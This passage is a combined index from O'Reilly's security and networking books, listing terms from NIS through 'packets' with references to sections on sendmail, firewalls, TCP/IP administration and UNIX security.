Practical UNIX & Internet Security, 19.4. Sun's Network Information Service (NIS)
Practical UNIX & Internet Security, 19.4.4.6. NIS is confused about "+"
clients : Practical UNIX & Internet Security, 19.4. Sun's Network Information Service (NIS)
domains : Practical UNIX & Internet Security, 19.4.3. NIS Domains
maps
Practical UNIX & Internet Security, 19.4. Sun's Network Information Service (NIS)
TCP/IP Network Administration, 3.3.5. Network Information Service
TCP/IP Network Administration, 6.1.3. Assigning a Subnet Mask
TCP/IP Network Administration, 10.6.1. Pattern Matching
netgroups
Practical UNIX & Internet Security, 19.4.4. NIS Netgroups
Practical UNIX & Internet Security, 19.4.4.6. NIS is confused about "+"
limiting imported accounts : Practical UNIX & Internet Security, 19.4.4.2. Using netgroups to limit the importing of accounts
Secure RPC with
Practical UNIX & Internet Security, 19.3.2. Setting Up Secure RPC with NIS
Practical UNIX & Internet Security, 19.3.4. Limitations of Secure RPC
spoofing : Practical UNIX & Internet Security, 19.4.4.5. Spoofing NIS
UDP : Practical UNIX & Internet Security, 16.2.4.3. UDP
Yellow Pages : Practical UNIX & Internet Security, 16.2.6.2. Other naming services
nis database class : sendmail, 33.8. Alphabetized Reference
NIS macro : sendmail, 18.8. Alphabetized Reference
NIS+
Building Internet Firewalls, 8.15. Network Information Service/Yellow
Practical UNIX & Internet Security, 3.2.2. The /etc/passwd File
Practical UNIX & Internet Security, 3.4. Changing Your Password
Practical UNIX & Internet Security, 16.2.6.2. Other naming services
Practical UNIX & Internet Security, 19.5. Sun's NIS+
Practical UNIX & Internet Security, 19.5.5. NIS+ Limitations
TCP/IP Network Administration, 9.3.2. NIS+
integrity-checking software for : Practical UNIX & Internet Security, 19.5.5. NIS+ Limitations
principals : Practical UNIX & Internet Security, 19.5.1. What NIS+ Does
Secure RPC with
Practical UNIX & Internet Security, 19.3.2. Setting Up Secure RPC with NIS
Practical UNIX & Internet Security, 19.3.4. Limitations of Secure RPC
NIS/YP (Network Information Service)
Building Internet Firewalls, 2.9. Name Service
Building Internet Firewalls, 5.8.2.4. Which services should you disable?
Building Internet Firewalls, 8.10. Domain Name System
configuring : Building Internet Firewalls, 8.15. Network Information Service/Yellow
nisaddcred command : Practical UNIX & Internet Security, 19.3.1.1. Proving your identity
niscat command : Practical UNIX & Internet Security, 3.2.2. The /etc/passwd File
nischown command : Practical UNIX & Internet Security, 19.5.4. Using NIS+
nispasswd command
Practical UNIX & Internet Security, 3.4. Changing Your Password
Practical UNIX & Internet Security, 19.5.4. Using NIS+
Practical UNIX & Internet Security, 19.5.4.2. When a user's passwords don't match
nisplus database class : sendmail, 33.8. Alphabetized Reference
NISPLUS macro : sendmail, 18.8. Alphabetized Reference
NIST (National Institute of Standards and Technology)
Practical UNIX & Internet Security, F.2.1. National Computer Security Center
Practical UNIX & Internet Security, F.3.4.26. National Institute of Standards and Technology
TCP/IP Network Administration, 12.1.2.2. Use mailing lists to distribute information
TCP/IP Network Administration, 13.1. The World Wide Web
NIST CSRC (Computer Security Resource Clearinghouse) : Building Internet Firewalls, A.5.3. NIST CSRC
NMS (Network Management Station) : TCP/IP Network Administration, 11.9. Simple Network Management Protocol
NNTP (Network News Transfer Protocol)
Building Internet Firewalls, 2.4. Usenet News
Building Internet Firewalls, 7.5. Proxying Without a Proxy Server
Practical UNIX & Internet Security, 17.3.13. Network News Transport Protocol (NNTP) (TCP Port
TCP/IP Network Administration, 13.5.1. Newsgroups
(see also Usenet news)
configuring
Building Internet Firewalls, 8.5. Network News Transfer Protocol
Building Internet Firewalls, 9.1.1.4. NNTP
Building Internet Firewalls, 9.2.1.4. NNTP
NNTPSERVER variable : sendmail, 31.2.1. Syntax of the Command-Line Macro's Text
no answer error message : TCP/IP Network Administration, 11.3. Testing Basic Connectivity
NO_GROUP_SET macro : sendmail, 18.8. Alphabetized Reference
"No local mailer defined" message : sendmail, 6.2.1. Testing the client.cf File
"no mailer in parsed address" error : sendmail, 29.6. Rule Set 0
"no more data from sender" (FIN) bit : TCP/IP Network Administration, 1.6.2. Transmission Control Protocol
"No such file or directory" error : sendmail, 12.2. The File Form of Class
nobody user
Practical UNIX & Internet Security, 4.1. Users and Groups
Practical UNIX & Internet Security, 19.3.2.1. Creating passwords for users
sendmail, 22.8.3.1. The DefaultUser option
TCP/IP Network Administration, 5.4. The Internet Daemon
TCP/IP Network Administration, 9.1.2.1. The share command
nocanonify feature : sendmail, 19.6. Alphabetized m4 Macros
nodns feature
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 21.1.2. Make sendmail DNS Aware
noexpn (sendmail) : Practical UNIX & Internet Security, 17.3.4.3. Improving the security of Berkeley sendmail V8
noise, electrical : Practical UNIX & Internet Security, 12.2.1.8. Electrical noise
nonadaptive modems : (see modems)
nonauthoritative servers : TCP/IP Network Administration, 3.3.4. BIND, resolver, and named
nonblocking systems : Practical UNIX & Internet Security, 19.2. Sun's Remote Procedure Call (RPC)
nonbroadcast multi-access (NBMA) interfaces
TCP/IP Network Administration, B.6. Interface Statements
TCP/IP Network Administration, B.8.1. The ospf Statement
nonce : Practical UNIX & Internet Security, 23.3. Tips on Writing Network Programs
non-connected network : TCP/IP Network Administration, 4.1. Connected and Non-Connected Networks
non-encoded binary data : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
non-Internet sites, delivering mail to : TCP/IP Network Administration, C.3.1.4. Mail exchanger record
nonrecursive queries : TCP/IP Network Administration, 3.3.2. Creating Domains and Subdomains
nonrepudiation : Practical UNIX & Internet Security, 6.5. Message Digests and Digital Signatures
nonrouting dual-homed hosts
Building Internet Firewalls, 5.2.1. Nonrouting Dual-homed Hosts
Building Internet Firewalls, 5.8.2.5. Turning off routing
NORDUNET : Practical UNIX & Internet Security, F.3.4.27. NORDUNET
NOREAD= command : Practical UNIX & Internet Security, 15.5.2. Permissions Commands
NoRecipientAction option : sendmail, 34.8. Alphabetized Reference
normalizing addresses : sendmail, 17.1.2. Normalize the Address
Northwestern University : Practical UNIX & Internet Security, F.3.4.28. Northwestern University
nosuid : Practical UNIX & Internet Security, 11.1.2. Back Doors and Trap Doors
notation, dotted decimal : TCP/IP Network Administration, 2.3. Subnets
NOTIFY command (SMTP) : sendmail, 36.7. Alphabetized Reference
NOTIFY extension, DSN : sendmail, 23.9. The qf File Internals
notifying people about problems
Building Internet Firewalls, 13.1.4. Make `Incident in Progress'
Building Internet Firewalls, 13.4.4. Planning for Notification of People
TCP/IP Network Administration, 12.4.2. Looking for Trouble
TCP/IP Network Administration, 12.4.2.2. Checking login activity
notsticky feature : sendmail, 19.6. Alphabetized m4 Macros
NOTUNIX macro : sendmail, 18.8. Alphabetized Reference
nouucp feature : sendmail, 19.6. Alphabetized m4 Macros
Novell : Practical UNIX & Internet Security, 1.3. History of UNIX
novrfy (sendmail) : Practical UNIX & Internet Security, 17.3.4.3. Improving the security of Berkeley sendmail V8
Nowitz, David : Practical UNIX & Internet Security, 15.2. Versions of UUCP
NOWRITE= command : Practical UNIX & Internet Security, 15.5.2. Permissions Commands
NP keyword : TCP/IP Network Administration, 12.2.1. The Shadow Password File
npasswd package : Practical UNIX & Internet Security, 8.8.2. Constraining Passwords
NPROC variable : Practical UNIX & Internet Security, 25.2.1.1. Too many processes
nrcpts= equate (syslog output) : sendmail, 26.1.3.6. nrcpts= the number of recipients
NS query : TCP/IP Network Administration, 11.6. Checking Name Service
NS resource records
TCP/IP Network Administration, 8.3.5. The Reverse Domain File
TCP/IP Network Administration, 8.3.6. The named.hosts File
TCP/IP Network Administration, C.3.1.2. Name server record
NSA (National Security Agency) : Practical UNIX & Internet Security, F.2.2. National Security Agency (NSA)
nservers option : TCP/IP Network Administration, 9.1.1. NFS Daemons
NSF (National Science Foundation)
TCP/IP Network Administration, 1.1. TCP/IP and the Internet
TCP/IP Network Administration, 7.5.2. Border Gateway Protocol
NSFNET
TCP/IP Network Administration, 2.4. Internet Routing Architecture
TCP/IP Network Administration, 7.4. Interior Routing Protocols
nslookup
sendmail, 21.4. How to Use nslookup
TCP/IP Network Administration, 4.4.1. Obtaining a Domain Name
TCP/IP Network Administration, 8.4. Using nslookup
in troubleshooting
TCP/IP Network Administration, 11.2. Diagnostic Tools
TCP/IP Network Administration, 11.3. Testing Basic Connectivity
TCP/IP Network Administration, 11.6. Checking Name Service
nsswitch.conf file
sendmail, 7.3.1. The hostname
sendmail, D.4. L and G Configuration Commands
TCP/IP Network Administration, 9.3.1. The nsswitch.conf file
TCP/IP Network Administration, E.4.2. sendmail Options
NSWS (NextStep Window Server) : Practical UNIX & Internet Security, 17.3.16. NEXTSTEP Window Server
NTP (Network Time Protocol)
Building Internet Firewalls, 2.11. Time Service
Building Internet Firewalls, 7.5. Proxying Without a Proxy Server
Practical UNIX & Internet Security, 17.3.14. Network Time Protocol (NTP) (UDP Port 123)
configuring : Building Internet Firewalls, 8.13. Network Time Protocol (NTP)
Secure RPC and : Practical UNIX & Internet Security, 19.3.1.3. Setting the window
NU-CERT : Practical UNIX & Internet Security, F.3.4.28. Northwestern University
null
addresses
sendmail, 10.3. Missing Addresses
sendmail, 17.1.1.3. Handle null address
sendmail, 30.8. Alphabetized F= Flags
database class : sendmail, 33.8. Alphabetized Reference
device : Practical UNIX & Internet Security, 5.6. Device Files
sendmail.cf file : sendmail, 5.2. The Minimal File
null.mc file : sendmail, 16.2. The null.mc File
nullclient feature : sendmail, 19.6. Alphabetized m4 Macros
numbers
sendmail, 29.1.1. Rule-Set Numbers
(see also identifiers)
delivery failure count : sendmail, 23.9. The qf File Internals
DNS errors : sendmail, B.1. Status file lines
inode and device : sendmail, 23.9. The qf File Internals
port : Building Internet Firewalls, C.12.2. Port Numbers
protocol : Building Internet Firewalls, C.12.1. Protocol Numbers
rule sets
sendmail, 8.3. Rule Sets
sendmail, 29.1.1. Rule-Set Numbers
SMTP status codes : sendmail, B.1. Status file lines
UNIX errors : sendmail, B.1. Status file lines
numeric addresses : (see addresses)
numeric-type arguments : sendmail, 34.5. Option Argument Types
numeric values, in printcap parameters : TCP/IP Network Administration, 9.2.1. The printcap File
nuucp account
Practical UNIX & Internet Security, 15.1.4. How the UUCP Commands Work
Practical UNIX & Internet Security, 15.3.1. Assigning Additional UUCP Logins
Practical UNIX & Internet Security, 15.4.1.3. Format of USERFILE entry without system name

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: O

O configuration command
sendmail, 5.3.7. Options
sendmail, 13.1. Options: An Overview
-o database switch : sendmail, 33.3.4.8. -o the database file is optional (V8.1 and above)
-O database switch : sendmail, 33.3.4.7. -O adaptive versus never add a null (V8.2 and above)
o flag : sendmail, 30.8. Alphabetized F= Flags
O lines in sendmail.cf : sendmail, 3.1. Role in the Filesystem
$o macro : (see OperatorChars (o) option)
o option : (see OldStyleHeaders (o) option)
O option : (see DaemonPortOptions (O) option)
-o switch (F command) : sendmail, 12.2. The File Form of Class
-o switch (makemap) : sendmail, 33.2.1.4. -o append to, don't overwrite the file
-o switch (sendmail) : sendmail, 36.7. Alphabetized Reference
-O switch (sendmail) : sendmail, 36.7. Alphabetized Reference
OBJADD= directive : sendmail, 18.4.10. OBJADD=
object identifier : TCP/IP Network Administration, 11.9. Simple Network Management Protocol
obscurity
Building Internet Firewalls, 1.3.2. Security Through Obscurity
Practical UNIX & Internet Security, 2.5. The Problem with Security Through Obscurity
Practical UNIX & Internet Security, 2.5.3. Final Words: Risk Management Means Common Sense
Practical UNIX & Internet Security, 8.8.9. Account Names Revisited: Using Aliases for Increased
Practical UNIX & Internet Security, 18.2.4. Keep Your Scripts Secret!
obtaining
BIND via FTP : sendmail, 21.1.1. Which DNS? 4.8.3 or 4.9?
db library package : sendmail, C.2. Get the Source
sendmail source code
sendmail, 2.1. Get the Source
sendmail, 18.3. Obtain the Source
octal file permissions
Practical UNIX & Internet Security, 5.2.3. Calculating Octal File Permissions
Practical UNIX & Internet Security, 5.2.4. Using Octal File Permissions
octal-type arguments : sendmail, 34.5. Option Argument Types
octet data
Practical UNIX & Internet Security, 16.2.1. Internet Addresses
TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
octet-stream application subtype : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
Odlyzko, Andrew : Practical UNIX & Internet Security, 19.3.4. Limitations of Secure RPC
-odq switch : sendmail, 23.6.1. Periodically with -q
Oerrs (output errors) : TCP/IP Network Administration, 11.4.3. Checking the Interface with netstat
OFB (output feedback) : Practical UNIX & Internet Security, 6.4.4.2. DES modes
offsite primary name servers : sendmail, 21.5.2. Offsite Servers
"ok" message : sendmail, 4.2. Verbose (-v)
old-style address lists : sendmail, 13.2.7. Accept Old-Style Lists of Addresses
OLD_NEWDB macro : sendmail, 18.8. Alphabetized Reference
OldStyleHeaders (o) option
sendmail, 13.2.7. Accept Old-Style Lists of Addresses
sendmail, 34.8. Alphabetized Reference
on program : Building Internet Firewalls, 2.3. Remote Terminal Access and Command
on-the-job security
Practical UNIX & Internet Security, 13.2. On the Job
Practical UNIX & Internet Security, 13.2.6. Departure
one : Practical UNIX & Internet Security, 9.2.1. Comparison Copies
one-command accounts : Practical UNIX & Internet Security, 8.1.3. Accounts That Run a Single Command
one-time pad encryption
Practical UNIX & Internet Security, 6.4.7. An Unbreakable Encryption Algorithm
Practical UNIX & Internet Security, 8.7.3. Code Books
one-time passwords
Building Internet Firewalls, 10.3.1. One-Time Passwords
Practical UNIX & Internet Security, 8.7. One-Time Passwords
Practical UNIX & Internet Security, 8.7.3. Code Books
Practical UNIX & Internet Security, 17.4. Security Implications of Network Services
Practical UNIX & Internet Security, 23.3. Tips on Writing Network Programs
TCP/IP Network Administration, Preface
TCP/IP Network Administration, 12.2.3. One-Time Passwords
One-time Passwords In Everything (OPIE) : TCP/IP Network Administration, 12.2.4. OPIE
one-way phone lines : Practical UNIX & Internet Security, 14.4.1. One-Way Phone Lines
ONEX command, in ESMTP : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
open access, tradition of : Practical UNIX & Internet Security, 1.4.1. Expectations
open accounts
Practical UNIX & Internet Security, 8.1.4. Open Accounts
Practical UNIX & Internet Security, 8.1.4.6. Potential problems with rsh
Practical UNIX & Internet Security, 8.8.7. Algorithm and Library Changes
open command
Practical UNIX & Internet Security, 5.1.7. File Permissions in Detail
Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
O_CREAT and O_EXCL flags : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
open file descriptors : sendmail, 26.3.3.1. -- open file descriptors: --
open protocol suite : TCP/IP Network Administration, 3.7.1. File Sharing
Open Shortest Path First : (see OSPF protocol)
Open Software Foundation (OSF) : Practical UNIX & Internet Security, 1.3. History of UNIX
Open System Interconnection (OSI)
Building Internet Firewalls, C.2.1. OSI Reference Model
Practical UNIX & Internet Security, 16.4.4. OSI
TCP/IP Network Administration, 1.2. A Data Communications Model
TCP/IP Network Administration, 6.1.1. Determining the Interface Name
opendir library call : Practical UNIX & Internet Security, 5.4. Using Directory Permissions
openlog command : sendmail, 26.1.1. syslog(3)
operating systems
Building Internet Firewalls, Platforms
Practical UNIX & Internet Security, 1.2. What Is an Operating System?
Practical UNIX & Internet Security, 12.3.3. Other Media
administration : (see system administration)
choosing : Building Internet Firewalls, 5.3.1. What Operating System?
errors
sendmail, 36.5.3. EX_IOERR A System I/O Error Occurred
sendmail, 36.5.5. EX_OSERR A System Resource Error
file failure : sendmail, 36.5.6. EX_OSFILE A Critical System File Failure
fixing bugs in : Building Internet Firewalls, 5.8.1.2. Fix all known system bugs
installation of : Building Internet Firewalls, 5.8.1.1. Start with a minimal clean operating system
keeping secret : Practical UNIX & Internet Security, 2.5. The Problem with Security Through Obscurity
load : (see performance)
multiple, and proxying : Building Internet Firewalls, 7.1. Why Proxying?
OSTYPE declaration
sendmail, 16.2.2. OSTYPE
sendmail, 19.3.1. OSTYPE()
TCP/IP Network Administration, 10.4.1.1. Building a sendmail.cf with m4 macros
defines, listed : TCP/IP Network Administration, E.3.3. OSTYPE
in sendmail
TCP/IP Network Administration, E.3. m4 sendmail Macros
TCP/IP Network Administration, E.3.3. OSTYPE
testing reload of : Building Internet Firewalls, 13.5.6. Testing the Reload of the Operating
UNIX : (see UNIX)
OperatorChars (o) option
sendmail, 8.3. Rule Sets
sendmail, 31.10. Alphabetized Reference
sendmail, 34.8. Alphabetized Reference
operators, token separation : (see OperatorChars (o) option)
opiekey software : TCP/IP Network Administration, 12.2.4. OPIE
opiepassword : TCP/IP Network Administration, 12.2.4. OPIE
${opmode} macro : sendmail, 31.10. Alphabetized Reference
optic cables : (see cables, network)
optical vampire taps : Practical UNIX & Internet Security, 12.3.1.5. Fiber optic cable
option set, invoking dialup IP (dip) : TCP/IP Network Administration, A.1. Dial-Up IP
optional database files : sendmail, 33.3.4.8. -o the database file is optional (V8.1 and above)
Options command : Practical UNIX & Internet Security, 18.3.2. Commands Within the <Directory>
options entry, in resolv.conf : TCP/IP Network Administration, 8.2.1. The Resolver Configuration File
option field, in DHCP : TCP/IP Network Administration, 3.6.1. Dynamic Host Configuration Protocol
options file
TCP/IP Network Administration, 6.3.1. The PPP Daemon
TCP/IP Network Administration, 6.3.2. Dial-Up PPP
options statement : TCP/IP Network Administration, 5.3.1.1. Options
in gated : TCP/IP Network Administration, B.5. Options Statements
INET
TCP/IP Network Administration, 5.3.1.1. Options
TCP/IP Network Administration, A.2. The PPP Daemon
options, sendmail
sendmail, 3.1. Role in the Filesystem
sendmail, 4. How to Run sendmail
sendmail, 5.3.7. Options
sendmail, 13. Setting Options
sendmail, 19.4.1. Options
sendmail, 34. Options
(see also switches, command-line)
m4 and : sendmail, 34.3. Configuring with V8 m4 Options
multicharacter
sendmail, 34.1.2. V8.7 Multicharacter Options in the Command Line
sendmail, 36.7. Alphabetized Reference
required : sendmail, 13.2. Required Options
safe : sendmail, 34.1.4. Options that Are Safe
security : sendmail, 22.8.3. Security Options
single-character : sendmail, 36.7. Alphabetized Reference
testing : sendmail, 13.3. Testing the Options
options.device file : TCP/IP Network Administration, A.2. The PPP Daemon
Orange Book : Practical UNIX & Internet Security, 2.3.3. Adding Up the Numbers
ORCPT address : sendmail, 23.9. The qf File Internals
org domain : TCP/IP Network Administration, 3.3.1. The Domain Hierarchy
origin date, message : (see $a macro)
originate mode : Practical UNIX & Internet Security, 14.3.1. Originate and Answer
originate testing : Practical UNIX & Internet Security, 14.5.3.1. Originate testing
orphaned locks : sendmail, 23.2.3.3. Locks can get stuck
OSF (Open Software Foundation) : Practical UNIX & Internet Security, 1.3. History of UNIX
OSF/1 operating system : Practical UNIX & Internet Security, 1.3. History of UNIX
OSI (Open System Interconnection)
Building Internet Firewalls, C.2.1. OSI Reference Model
Practical UNIX & Internet Security, 16.4.4. OSI
TCP/IP Network Administration, 1.2. A Data Communications Model
TCP/IP Network Administration, 6.1.1. Determining the Interface Name
OSPF protocol
TCP/IP Network Administration, Preface
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 7.4.3. Open Shortest Path First
authenticating packets : TCP/IP Network Administration, B.8.1. The ospf Statement
enabling (in gated)
TCP/IP Network Administration, 7.7.1.2. Interior gateway configurations
TCP/IP Network Administration, 7.7.1.3. Exterior gateway configuration
TCP/IP Network Administration, B.8.1. The ospf Statement
ospf statement (in gated) : TCP/IP Network Administration, B.8.1. The ospf Statement
ospfase protocol : TCP/IP Network Administration, 7.7.1.3. Exterior gateway configuration
OSTYPE command (m4)
sendmail, 16.2.2. OSTYPE
sendmail, 19.3.1. OSTYPE()
TCP/IP Network Administration, 10.4.1.1. Building a sendmail.cf with m4 macros
defines, listed : TCP/IP Network Administration, E.3.3. OSTYPE
in sendmail
TCP/IP Network Administration, E.3. m4 sendmail Macros
TCP/IP Network Administration, E.3.3. OSTYPE
out-of-date files, defined : TCP/IP Network Administration, 9.6.1. rdist
outgoing (outbound)
calls : Practical UNIX & Internet Security, 14.5. Modems and UNIX
finger requests : Building Internet Firewalls, 8.8.1. finger
mail, logging : Practical UNIX & Internet Security, 10.4.2. Mail
packets : Building Internet Firewalls, 6.2.2. Be Careful of `Inbound'
filtering rules for : Building Internet Firewalls, 6.8.6. It Should Apply Rules Separately to
Telnet : Building Internet Firewalls, 6.7.1. Outbound Telnet Service
Outcome table (NIS+) : Practical UNIX & Internet Security, 19.5.3. NIS+ Tables
outdated software : (see software)
output
debugging : sendmail, 37.3. Interpreting the Output
errors (Oerrs) : TCP/IP Network Administration, 11.4.3. Checking the Interface with netstat
feedback (OFB) : Practical UNIX & Internet Security, 6.4.4.2. DES modes
rule testing : sendmail, 38.6.4. The Output
syslog : sendmail, 26.1.3. syslog's Output
outsiders : Practical UNIX & Internet Security, 13.3. Outsiders
overload attacks
Practical UNIX & Internet Security, 25.2. Overload Attacks
Practical UNIX & Internet Security, 25.2.5. Soft Process Limits: Preventing Accidental Denial
overruns : (see buffers, overruns)
overtime : Practical UNIX & Internet Security, 13.2.3. Performance Reviews and Monitoring
overwhelming the server : TCP/IP Network Administration, 9.4. A BOOTP Server
overwriting
files : sendmail, 33.2.1.4. -o append to, don't overwrite the file
media : Practical UNIX & Internet Security, 12.3.2.3. Sanitize your media before disposal
rule sets : sendmail, 8.4. Rules
OW- (sendmail.cf) : Practical UNIX & Internet Security, 17.3.4.2. Using sendmail to receive email
owner, mailing list : sendmail, 25.3. Defining a Mailing List Owner
owner-admin alias : TCP/IP Network Administration, 10.3. sendmail Aliases
owners of information : Practical UNIX & Internet Security, 2.4.4.1. Assign an owner
owners, changing : Practical UNIX & Internet Security, 5.7. chown: Changing a File's Owner
ownership : (see permissions)
ownership notices : Practical UNIX & Internet Security, 26.2.6. Other Tips

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: P

P configuration command
sendmail, 5.3.9. Priority
sendmail, 14.4. Precedence
sendmail, 35.8.1. The P Configuration Command
p flag : sendmail, 30.8. Alphabetized F= Flags
P flag : sendmail, 30.8. Alphabetized F= Flags
P line (qf file) : sendmail, 23.9. The qf File Internals
$p macro : sendmail, 31.10. Alphabetized Reference
p option : (see PrivacyOptions (p) option)
P option : (see PostmasterCopy (P) option)
-p switch (sendmail) : sendmail, 36.7. Alphabetized Reference
P= equate
sendmail, 6.2. Define a Mail Delivery Agent
sendmail, 6.3. The local Delivery Agent
sendmail, 22.4.4. The P= of Delivery Agents
sendmail, 30.4. The Equates
pacct file : Practical UNIX & Internet Security, 10.2. The acct/pacct Process Accounting File
pack program : Practical UNIX & Internet Security, 6.6.1.2. Ways of improving the security of crypt
packages, auditing : Building Internet Firewalls, 5.8.5.1. Auditing packages
packet filtering
Building Internet Firewalls, 4.1. Some Firewall Definitions
Building Internet Firewalls, 4.1.1. Packet Filtering
Building Internet Firewalls, 6. Packet Filtering
TCP/IP Network Administration, 1.7. Application Layer
TCP/IP Network Administration, 11.7.1. Packet Filters
TCP/IP Network Administration, 11.9. Simple Network Management Protocol
by address : Building Internet Firewalls, 6.6. Filtering by Address
advice for : Building Internet Firewalls, 6.5. Conventions for Packet Filtering
Archie : Building Internet Firewalls, 8.7.3.1. Packet filtering characteristics of
bugs in packages : Building Internet Firewalls, 6.1.2.1. Current filtering tools are not perfect
choosing a router : Building Internet Firewalls, 6.8. Choosing a Packet Filtering
configuring router : Building Internet Firewalls, 6.2. Configuring a Packet Filtering
constructing filters : TCP/IP Network Administration, 11.7.1. Packet Filters
conventions for : Building Internet Firewalls, 6.8.3. It Should Allow Simple Specification
DNS
Building Internet Firewalls, 8.10.1. Packet Filtering Characteristics of
Building Internet Firewalls, 8.10.5.5. What your packet filtering system
dynamic : Building Internet Firewalls, 6.3.3.2. UDP
example of : Building Internet Firewalls, 6.10. Putting It All Together
with exterior router : Building Internet Firewalls, 4.2.3.4. Exterior router
finger : Building Internet Firewalls, 8.8.1.1. Packet filtering characteristics of
in firewalls : TCP/IP Network Administration, 12.7. Firewalls
FSP : Building Internet Firewalls, 8.2.3.1. Packet filtering characteristics of
FTP : Building Internet Firewalls, 8.2.1.1. Packet filtering characteristics of
Gopher : Building Internet Firewalls, 8.7.1.1. Packet filtering characteristics of
HTTP : Building Internet Firewalls, 8.6.1. Packet Filtering Characteristics of
ICMP : Building Internet Firewalls, 8.12.5.1. Packet filtering characteristics of
inbound versus outbound : Building Internet Firewalls, 6.8.6. It Should Apply Rules Separately to
with interior router : Building Internet Firewalls, 4.2.3.3. Interior router
IP : (see IP)
IRC : Building Internet Firewalls, 8.9.2.1. Packet filtering characteristics of
lp : Building Internet Firewalls, 8.17.3. Packet Filtering and Proxying
lpr : Building Internet Firewalls, 8.17.1. Packet Filtering Characteristics of
NFS : Building Internet Firewalls, 8.14.1. Packet Filtering Characteristics of
NIS : Building Internet Firewalls, 8.15.1. Packet Filtering Characteristics of
NNTP
Building Internet Firewalls, 8.5.1. Packet Filtering Characteristics of
Building Internet Firewalls, 8.5.4. Good Ways to Set up
NTP : Building Internet Firewalls, 8.13.1. Packet Filtering Characteristics of
performance level of : Building Internet Firewalls, 6.8.1. It Should Have Good Enough
perimeter, and encryption : Building Internet Firewalls, 10.5.3. Where Do You Encrypt?
ping : Building Internet Firewalls, 8.12.3.1. Packet filtering characteristics of
POP : Building Internet Firewalls, 8.1.2.1. Packet filtering characteristics of
primitives used, listed : TCP/IP Network Administration, 11.7.1. Packet Filters
r commands : Building Internet Firewalls, 8.4.1.1. Packet filtering characteristics of
rex : Building Internet Firewalls, 8.4.3.1. Packet filtering characteristics of
rexec : Building Internet Firewalls, 8.4.2.1. Packet filtering characteristics of
RIP : Building Internet Firewalls, 8.12.2.1. Packet filtering characteristics of
rules for : Building Internet Firewalls, 6.5. Conventions for Packet Filtering
in screened host architecture : Building Internet Firewalls, 9.2.2. Packet Filtering Rules
in screened subnet architecture : Building Internet Firewalls, 9.1.2. Packet Filtering Rules
sequence of : Building Internet Firewalls, 6.8.5. It Should Apply Rules in the Order
screened host architecture : Building Internet Firewalls, 4.2.2. Screened Host Architecture
by service : Building Internet Firewalls, 6.7. Filtering by Service
SMTP : Building Internet Firewalls, 8.1.1.4. Packet filtering characteristics of
SNMP : Building Internet Firewalls, 8.12.1.1. Packet filtering characteristics of
by source port : Building Internet Firewalls, 6.7.4. Risks of Filtering by Source
syslog : Building Internet Firewalls, 8.11.1. Packet Filtering Characteristics of
talk : Building Internet Firewalls, 8.9.1.1. Packet filtering characteristics of
Telnet : Building Internet Firewalls, 8.3.1. Packet Filtering Characteristics of
testing : Building Internet Firewalls, 6.8.7. It Should Be Able to Log Accepted and
TFTP : Building Internet Firewalls, 8.2.2.1. Packet filtering characteristics of
tools for : Building Internet Firewalls, B.3. Packet Filtering Tools
traceroute : Building Internet Firewalls, 8.12.4.1. Packet filtering characteristics of
transparency of : Building Internet Firewalls, 6.1.1.2. Packet filtering doesn't require user knowledge or
UUCP : Building Internet Firewalls, 8.2.4.1. Packet filtering characteristics of
WAIS : Building Internet Firewalls, 8.7.2.1. Packet filtering characteristics of
where to do : Building Internet Firewalls, 6.8.8. It Should Have Good Testing and
whois : Building Internet Firewalls, 8.8.2.1. Packet filtering characteristics of
X11 : Building Internet Firewalls, 8.16.1. Packet Filtering Characteristics of
packet sniffing
Building Internet Firewalls, 10.1.2. Packet Sniffing
Practical UNIX & Internet Security, 16.3.1. Link-level Security
Practical UNIX & Internet Security, 17.3.3. TELNET (TCP Port 23)
(see also sniffing)
packet switching
Practical UNIX & Internet Security, 16.2. IPv4: The Internet Protocol Version 4
Practical UNIX & Internet Security, 16.3. IP Security
TCP/IP Network Administration, 1.5.1.1. The datagram
TCP/IP Network Administration, 1.7. Application Layer
packets
Building Internet Firewalls, 4.1. Some Firewall Definitions
Building Internet Firewalls, 6. Packet Filtering
Building Internet Firewalls, 6.3.1.2. IP layer
Building Internet Firewalls, 8.12.4. traceroute
Practical UNIX & Internet Security, 16.2. IPv4: The Internet Protocol Version 4
Practical UNIX & Internet Security, 16.2.4. Packets and Protocols
Practical UNIX & Internet Security, 16.2.4.3. UDP
TCP/IP Network Administration, 1.3. TCP/IP Protocol Architecture
(see also traceroute utility)
authentication : (see authentication)
bogus, interjecting : TCP/IP Network Administration, 5.3.1.1. Options
capturing : TCP/IP Network Administration, 5.3.1.2. Pseudo-device
damaged : TCP/IP Network Administration, 6.1.1. Determining the Interface Name
eavesdropping : (see packet sniffing)
encrypting : (see encryption)
forged : Building Internet Firewalls, 6.3.7. Non-IP Protocols
fragmenting
Building Internet Firewalls, 6.3.1.2. IP layer
Building Internet Firewalls, 6.3.2.2. IP fragmentation
handling (by router) : Building Internet Firewalls, 6.4. What Does the Router Do with
headers of : Building Internet Firewalls, 6.3. What Does a Packet Look Like?
ICMP : Building Internet Firewalls, 8.12.5. Other ICMP Packets
inbound versus outbound : Building Internet Firewalls, 6.2.2. Be Careful of `Inbound'
monitoring : Practical UNIX & Internet Security, 12.3.1.2. Eavesdropping by Ethernet and 10Base-T
options in DHCP : TCP/IP Network Administration, 3.6.1. Dynamic Host Configuration Protocol
queued : TCP/IP Network Administration, 6.1.1. Determining the Interface Name
rates of : Building Internet Firewalls, 6.8.1. It Should Have Good Enough
routing : TCP/IP Network Administration, 1.5.1.1. The datagram
